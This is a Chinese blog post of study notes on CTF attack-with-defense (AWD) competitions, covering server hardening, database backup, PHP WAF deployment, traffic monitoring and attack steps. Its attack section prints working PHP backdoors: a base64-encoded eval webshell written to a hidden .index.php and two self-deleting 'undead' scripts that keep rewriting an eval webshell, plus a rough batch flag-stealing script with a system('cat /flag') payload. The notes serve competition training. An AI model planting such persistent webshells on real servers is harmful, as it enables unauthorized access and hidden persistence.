CTF-AWD攻防比赛笔记-1.0

原创

OceanSec 于 2020-12-13 10:03:28 发布 12081 收藏 29

分类专栏： # CTF 文章标签： ssh 数据库 运维

本文链接：https://blog.csdn.net/q20010619/article/details/111088710

CTF 专栏收录该内容

66 篇文章 29 订阅

订阅专栏

> 最新篇：https://oceansec.blog.csdn.net/article/details/118357418

文章目录

1. 开始前有时间的话，填IP.txt
2. 登录ssh->dump源码->D盾去后门->上传文件
3. 控制npc->加固npc->

11.修改默认密码

linux修改ssh即本地密码

passwd

修改后台登录密码

mysql -u root -p

show databases；

use test;

show tables;

select * from admin;

updata admin set user pass='123456'; //updata 表名 set 字段名 = '值';

flush privileges;

修改mysql登录密码

方法一：

mysql>set password for root@localhost =password('123');

config.php文件中是有数据库的连接信息，执行完上条命令后更改此文件

方法二：

mysqladmin -uroot -p 123456 password 123

root=用户名； 123456=旧密码； 123=新密码；

2.dump源码

使用ssh工具保留源码

数据库操作

数据库备份

登录数据库，命令备份数据库

mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库

cd /var/lib/mysql

mysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份

mysqldump --all-databases > 1.sql //备份所有数据库

数据库还原

mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库

cd /var/lib/mysql

mysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原

3.站点防御部署

check：

1. 查看是否留有后门账户
2. 关注是否运行了“特殊”进程
3. 是否使用命令匹配一句话
4. 关闭不必要端口，如远程登陆端口，木马端口

action：

d盾扫描删除预留后门文件，代码审计工具审计

流量监控脚本部署

WAF脚本部署

F:\CTF\AWD\awd脚本\waf.php

挂waf：

每个文件前边加 require_once(waf.php);

改 .user.ini配置文件 auto_prepend_file=; 包含在文件头

auto_append_file=; 包含在文件尾

注：如果挂了waf出现持续扣分，waf去掉

文件监控脚本部署

文件监控脚本：F:\CTF\AWD\攻击框架\AWD-master\文件监控.py

注意：现上好waf再上文件监控

靶机没有python的话要先安python

4.利用漏洞进行得分

5.编写脚本批量拿分

1. 通过预留后门批量拿分
2. 批量修改ssh账号密码
3. 通过脚本批量获取flag
4. 脚本批量提交flag

awd中linux的命令

```
- netstat -anptl 查看开放端口

- ps aux 以用户为主的格式来查看所有进程

  pa aux | grep tomcat

  ps -A 显示进程信息

  ps -u root 显示root进程用户信息

  ps -ef 显示所有命令，连带命令行

- kill 终止进程

  kill -9 pid

  //kill -15、kill -9的区别

  执行kill（默认kill -15）命令，执行kill （默认kill-15） 命令，系统会发送一个SIGTERM信号给对应的程序，,大部分程序接收到SIGTERM信号后，会先kill -9命令,系统给对应程序发送的信号是SIGKILL,即exit。exit信号不会被系统阻塞，所以kill -9能顺利杀掉进程

- vim编辑器

  命令行模式下

  /  查找内容

  ?  查找内容

  n  重复上一条检索命令

  N  命令重复上一条检索命令
```

攻击

命令执行上传一句话

```
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>.index.php
```

权限维持

不死马

```php
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="4a6022980d219f045167102e13822389"){@eval($_REQUEST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5);
}
?>
#密码 fpu7jnvrd687sf168sdaf54fs8fv15as8fw
#文件名 .index.php  .DS_story

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    //file_put_contents(__FILE__,'');
    while(1){
        file_put_contents('path/webshell.php','<?php @eval($_POST["password"]);?>');
    }
?>
```

密码复杂，生成文件隐藏 .DS_store(原 .DS_Store)

nc反弹shell

一定要把机器人拿下

批量

先创建一个ip.txt文件，把别的队的ip：端口填进去

使用时

```python
import requests
f=open('ip.txt','r')
post_url='http://10.241.180.5:19999/api/flag'
data={'flag':'fdsafdasfdsafd'}
header={'Authorization':'15e44c4242733af4015af9d3d321672'}
for i in f.readlines():
 url='http://'+i.strip()+'/footer.php'
    r=requests.post(post_url,data=data,header=header) //post传参
    #url_path="/a.php?shell=system('cat /flag');"
    #r=requests.get(url+urlpath)
    x=r.text    //x就是flag

    p=requests.get() //批量提交

    //i[0].split('<').[0] //文件读取flag在第一行情况下使用
```

防御

备份网站源码和数据库

1. mobaxterm直接拖

备份数据库在dump源码部分有

备份数据库在dump源码部分有

1. linux命令进行备份

```
scp -r -P Port remote_username@remote_ip:remote_folder local_file
```

检查有没有多余无用端口对外开放

部署waf

无check机制、部分检查、不允许上通防waf

注意：上完waf检查服务是否可用

有root权限

1.

```
#每个文件前边加 require_once(waf.php);
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('/log.php');n/g"
```

2.

```
vim php.ini

auto_append_file = "/dir/path/phpwaf.php"

重启Apache或者php-fpm就能生效了。
```

3.

```
改 .user.ini配置文件 auto_prepend_file=<filename>;  包含在文件头

auto_append_file=<filename>;  包含在文件尾
php_value auto_prepend_file "/dir/path/phpwaf.php"
```

注：如果挂了waf出现持续扣分，waf去掉

只有user权限

没写系统权限就只能在代码上面下手了，也就是文件包含。

这钟情况又可以用不同的方式包含。

1.

如果是框架型应用，那麽就可以添加在入口文件，例如index.php，

如果不是框架应用，可以在公共配置文件config.php等相关文件中包含。

```
include('phpwaf.php');
```

2.

替换index.php，也就是讲index.php改名为index2.php，然后讲phpwaf.php改成index.php。

当然还没完，还要在原phpwaf.php中包含原来的index.php。

```
index.php -> index2.php
phpwaf.php ->index.php
include('index2.php');
```

修改权限

mysqll用户读表权限

上传目录是否可执行的权限

部署文件监控脚本

克制不死马

强行kill掉进程后重启服务

```
ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9
```

建立一个和不死马相同名字的文件或者目录

写脚本不断删除

```

```

部署流量监控脚本或开启服务器日志记录

流量回放

1. 脚本
2. tcpdump

命令

```
ssh <-p 端口> 用户名@IP
scp 文件路径  用户名@IP:存放路径
tar -zcvf web.tar.gz /var/www/html/
w
pkill -kill -t <用户tty>
ps aux | grep pid或者进程名
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>
kill - <PID>
#封杀某个IP或者ip段，如：.
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机，如123..
iptable -t filter -A INPUT -s . -p tcp --dport  -j DROP
#检测所有的tcp连接数量及状态
netstat -ant|awk  |grep |sed -e  -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d   | sort | uniq -c | sort -k  -r | head -
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d   | sort | uniq -c | sort -k  -r | head -
```

流量分析

瓶颈期可以进行流量分析

tcpdump可以进行linux下的流量抓取

tcpdump -i ens22 port 22 //抓取经过ens33网卡，目的或源端口是22的网络数据

指定源端口：tcpdump -i ens22 src port 22

指定目的端口：tcpdump -i ens22 dst port 22

tcpdump -w 1.pcapng

一个针对php的web流量抓取、分析的应用。

使用方法

```
  cd /var/www/html/ (or other web dir)

  git clone https://github.com/wupco/weblogger.git

  chmod -R 777 weblogger/

  open http://xxxxx/weblogger/install.php in Web browser

  install it
```

找出漏洞拿到shell，尽量把这个洞给被控机修了，几面被别人拿到shell

不仅要保证自己能拿到shell，还有保证别人拿不到shell

拿shell前先打一波流量，混淆视听

保证自己的网站上没有d盾可以扫出来的后门

保持良好的心态

提高python脚本编写能力

优秀文章

《CTF线下赛AWD模式下的生存技巧》

《论如何在CTF比赛中搅“shi”》

《CTF线下防御战 — 让你的靶机变成“铜墙铁壁”》

AWD攻防赛webshell批量利用框架

针对ctf线下赛流量抓取(php)、真实环境流量抓取分析的工具

AWD攻防赛脚本集合

CTFDefense